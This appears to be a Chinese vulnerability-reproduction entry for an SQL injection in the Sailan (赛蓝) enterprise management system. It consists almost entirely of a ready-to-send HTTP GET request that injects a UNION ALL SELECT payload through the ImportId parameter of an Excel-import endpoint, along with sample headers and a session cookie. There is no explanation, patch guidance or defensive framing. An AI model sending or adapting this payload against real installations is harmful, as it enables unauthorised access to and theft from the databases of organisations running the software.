S38-3赛蓝-企业管理系统-SQL

漏洞复现：

payload：

GET /BaseModule/ExcelImport/GetImportDetailJson?ImportId=1%27+UNION+ALL+SELECT+NULL%2CNULL%2CNULL%2CNULL%2CCHAR%28113%29%2BCHAR%28112%29%2BCHAR%28122%29%2BCHAR%28118%29%2BCHAR%28113%29%2BCHAR%2887%29%2BCHAR%28105%29%2BCHAR%2882%29%2BCHAR%2878%29%2BCHAR%28102%29%2BCHAR%28105%29%2BCHAR%2880%29%2BCHAR%28119%29%2BCHAR%28108%29%2BCHAR%28107%29%2BCHAR%2874%29%2BCHAR%2866%29%2BCHAR%2865%29%2BCHAR%28113%29%2BCHAR%28112%29%2BCHAR%28122%29%2BCHAR%28108%29%2BCHAR%2879%29%2BCHAR%28103%29%2BCHAR%2877%29%2BCHAR%2882%29%2BCHAR%28105%29%2BCHAR%2890%29%2BCHAR%28108%29%2BCHAR%2885%29%2BCHAR%2880%29%2BCHAR%2885%29%2BCHAR%28103%29%2BCHAR%28111%29%2BCHAR%2890%29%2BCHAR%2870%29%2BCHAR%2878%29%2BCHAR%28104%29%2BCHAR%2865%29%2BCHAR%2871%29%2BCHAR%2880%29%2BCHAR%2872%29%2BCHAR%2866%29%2BCHAR%28118%29%2BCHAR%2899%29%2BCHAR%28113%29%2BCHAR%28107%29%2BCHAR%28112%29%2BCHAR%28106%29%2BCHAR%28113%29%2CNULL%2CNULL%2CNULL%2CNULL%2CNULL%2CNULL%2CNULL%2CNULL%2CNULL%2CNULL%2CNULL%2CNULL%2CNULL%2CNULL%2CNULL%2CNULL%2CNULL--+fPai&IsShow=1&ParameterJson=1 HTTP/1.1
Host: 
User-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10.15; rv:128.0) Gecko/20100101 Firefox/128.0
Accept-Encoding: gzip, deflate
Cookie: __RequestVerificationToken=EXiOGTuudShJEzYLR8AQgWCZbF2NB6_KXKrmqJJyp1cgyV6_LYy9yKQhNkHJGXXlbO_6NLQZPwUUdVZKH6e9KMuXyxV6Tg-w5Ftx-mKih3U1; ASP.NET_SessionId=2ofwed0gd2jc4paj0an0hpcl
Upgrade-Insecure-Requests: 1
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/png,image/svg+xml,*/*;q=0.8
Accept-Language: zh-CN,zh;q=0.8,zh-TW;q=0.7,zh-HK;q=0.5,en-US;q=0.3,en;q=0.2
Priority: u=0, i